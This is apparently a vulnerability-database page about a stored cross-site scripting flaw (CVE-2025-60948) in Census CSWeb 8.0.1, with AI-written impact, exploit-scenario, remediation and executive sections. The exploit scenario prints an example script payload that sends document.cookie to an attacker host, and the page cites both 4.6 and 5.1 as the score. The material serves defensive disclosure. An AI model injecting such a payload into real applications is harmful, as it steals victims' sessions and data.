Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | Multiple risk signals converge to indicate moderate but actionable real-world risk. The CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N) reflects: network-based attack surface (AV:N), low attack complexity (AC:L), requirement for prior authentication (PR:L), and user interaction needed (UI:R), with limited impact—only confidentiality and integrity of user data affected, no availability impact (A:N). The 4.6 CVSS score undersells risk in two ways: first, stored XSS can affect multiple victims through a single malicious input, and second, authenticated users may have elevated privileges or access to sensitive data. The existence of publicly available proof-of-concept code on GitHub (hx381/cspro-exploits repository) significantly increases exploitation probability and suggests active research or weaponization. CISA's inclusion of this CVE in their coordination list (cisa-cg tag, reference to CSAF advisory va-26-082-01.json) indicates government awareness and likely organizational attention. The vulnerability is automatable (stored payload executes automatically on page load for subsequent users) and moderately impactful for confidentiality/integrity. Exploitation requires authentication and victim interaction (visiting a page with the payload), which reduces opportunistic mass exploitation but enables targeted campaigns within organizations. This is a genuine priority for Census CSWeb users, particularly those in government or statistical agencies handling sensitive data, but lower urgency than unauthenticated remote code execution vulnerabilities. |
| Exploit ScenarioDerived | An authenticated internal user with legitimate access to Census CSWeb submits a survey response containing malicious JavaScript payload (e.g., <script>fetch('http://attacker.com/steal?cookie=' + document.cookie)</script>) in a text field. The application stores this payload in the database without sanitization. When other authenticated users (such as survey administrators or analysts) view the stored data or generate reports containing that field, the JavaScript executes in their browser context with their session credentials, allowing the attacker to steal authentication tokens, exfiltrate sensitive survey data, or perform actions on behalf of the victim user. A public proof-of-concept exploit is available on GitHub, reducing the barrier to exploitation for threat actors with organizational access or insider knowledge. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 23, 2026
Census CSWeb 8.0.1 contains a stored cross-site scripting (XSS) vulnerability in user-supplied fields that allows authenticated attackers to inject and persist malicious JavaScript code, which executes when victims access affected pages in their browsers. The vulnerability affects CSWeb versions prior to 8.1.0 alpha, and a public proof-of-concept exploit is available on GitHub, increasing real-world exploitation risk. While the CVSS score of 4.6 reflects moderate severity, the combination of authenticated access requirement, user interaction dependency, and published exploit code suggests this poses a meaningful but contained threat to Census CSWeb deployments.
RemediationAI
Immediately upgrade Census CSWeb to version 8.1.0 alpha or later once released as stable, as this version contains the fix for stored XSS in user-supplied fields. Until patching is feasible, implement the following compensating controls: enforce strict Content Security Policy (CSP) headers prohibiting inline script execution (script-src 'self'), enable HTTP-only and Secure flags on session cookies to prevent JavaScript access, and deploy a Web Application Firewall (WAF) with rules to detect and block script injection patterns in user input fields. Additionally, restrict network access to CSWeb instances to trusted IP ranges and enforce strong authentication with multi-factor authentication (MFA) to reduce the authenticated attacker surface. Database-level inspection for existing malicious payloads in user-supplied fields should be conducted, and affected records sanitized or flagged for review. Monitor application logs for suspicious activity patterns consistent with XSS exploitation (unusual script tags in form submissions, abnormal session activity). Refer to the Census CSWeb security advisory and the GitHub commit history for detailed patching instructions.
Affected VersionsENISA
Affects your stack
Find out whether the stacks and servers you run are on an affected version.
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability is a classic stored XSS flaw (CWE-79: Improper Neutralization of Input During Web Page Generation) in Census CSWeb, a data collection and processing application used in statistical surveys. The root cause is insufficient input validation and output encoding in user-supplied fields within CSWeb 8.0.1 (CPE: cpe:2.3:a:census:csweb:*:*:*:*:*:*:*:*). Rather than sanitizing or encoding user input before storage in the database, the application directly renders user-controlled data in HTML contexts without proper escaping, allowing attackers to break out of intended data contexts and inject arbitrary JavaScript. This occurs in web form fields where users legitimately input survey data, but no Content Security Policy (CSP) or output encoding mitigates the risk. The flaw is particularly dangerous because it affects authenticated users with legitimate access to the application, who may not expect malicious payloads in peer-submitted data.
Know when Csweb gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
Lifecycle Timeline
3DescriptionCVE.org
Census CSWeb 8.0.1 allows stored cross-site scripting in user supplied fields. A remote, authenticated attacker could store malicious javascript that executes in a victim's browser. Fixed in 8.1.0 alpha.
Executive ViewAI
Organizations using Census CSWeb 8.0.1 should be aware of moderate risk from CVE-2025-60948, a cross-site scripting vulnerability rated CVSS 5.1. Attackers could inject scripts to steal sessions or perform actions as authenticated users. Proof-of-concept code is publicly available. Organizations should apply vendor updates when available and monitor for exploitation.
Apply vendor patch. If patching is delayed: implement CSP headers, enable HttpOnly cookies, deploy WAF XSS rules.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Census CSWeb 8.0.1 contains an information disclosure vulnerability where the app/config endpoint is reachable via HTTP
Census CSWeb 8.0.1 contains an arbitrary file upload vulnerability allowing authenticated remote attackers to upload mal
Census CSWeb 8.0.1 contains a path traversal vulnerability (CWE-22) allowing authenticated remote attackers to access ar
EUVD-2025-208952
NVD
CVE.org
EPSS
Vulnrichment
GitHub
VulDB
Exploit-DB